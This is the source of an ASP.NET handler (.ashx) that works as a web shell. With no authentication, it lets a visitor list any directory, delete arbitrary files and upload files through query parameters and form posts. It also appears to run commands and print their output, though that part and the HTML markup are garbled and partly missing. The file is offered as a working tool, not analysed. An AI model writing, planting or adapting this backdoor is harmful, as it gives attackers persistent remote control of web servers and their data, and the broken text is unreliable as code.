%@ WebHandler Language="C#" Class="MoroccanRevolution" %> using System; using System.Web; using System.IO; using System.Diagnostics; using System.Text; public class MoroccanRevolution : IHttpHandler { public void ProcessRequest(HttpContext context) { // 输出页面,使用 utf-8 context.Response.ContentType = "text/html; charset=utf-8"; // 获取目录(优先 query string fdir) string dir = context.Server.MapPath("."); if (!string.IsNullOrEmpty(context.Request.QueryString["fdir"])) dir = context.Request.QueryString["fdir"]; dir = dir.Replace("\\", "/").Replace("//", "/"); if (!dir.EndsWith("/")) dir += "/"; StringBuilder html = new StringBuilder(); html.Append("
File not found: " + HttpUtility.HtmlEncode(f) + "
"); } } // === Handle Delete === if (!string.IsNullOrEmpty(context.Request.QueryString["del"])) { string f = context.Request.QueryString["del"]; try { if (File.Exists(f)) { File.Delete(f); html.Append("Deleted: " + HttpUtility.HtmlEncode(f) + "
"); } else { html.Append("Delete failed. File not found: " + HttpUtility.HtmlEncode(f) + "
"); } } catch (Exception ex) { html.Append("Delete error: " + HttpUtility.HtmlEncode(ex.Message) + "
"); } } // === Handle Upload === if (context.Request.Files.Count > 0) { HttpPostedFile file = context.Request.Files[0]; string fn = Path.GetFileName(file.FileName); string savePath = Path.Combine(dir, fn); try { file.SaveAs(savePath); html.Append("Upload OK: " + HttpUtility.HtmlEncode(fn) + "
"); } catch (Exception ex) { html.Append("Upload error: " + HttpUtility.HtmlEncode(ex.Message) + "
"); } } // === Directory Listing === html.Append("| Name | Size (KB) | Action |
|---|---|---|
| " + HttpUtility.HtmlEncode(sub.Name) + "/ | <DIR> | |
| " + HttpUtility.HtmlEncode(f.Name) + " | " + (f.Length / 1024).ToString() + " | Del |
| Directory error: " + HttpUtility.HtmlEncode(ex.Message) + " | ||
" + HttpUtility.HtmlEncode(output) + ""); } catch (Exception ex) { html.Append("
Error: " + HttpUtility.HtmlEncode(ex.Message) + ""); } } html.Append(""); context.Response.Write(html.ToString()); } public bool IsReusable { get { return false; } } }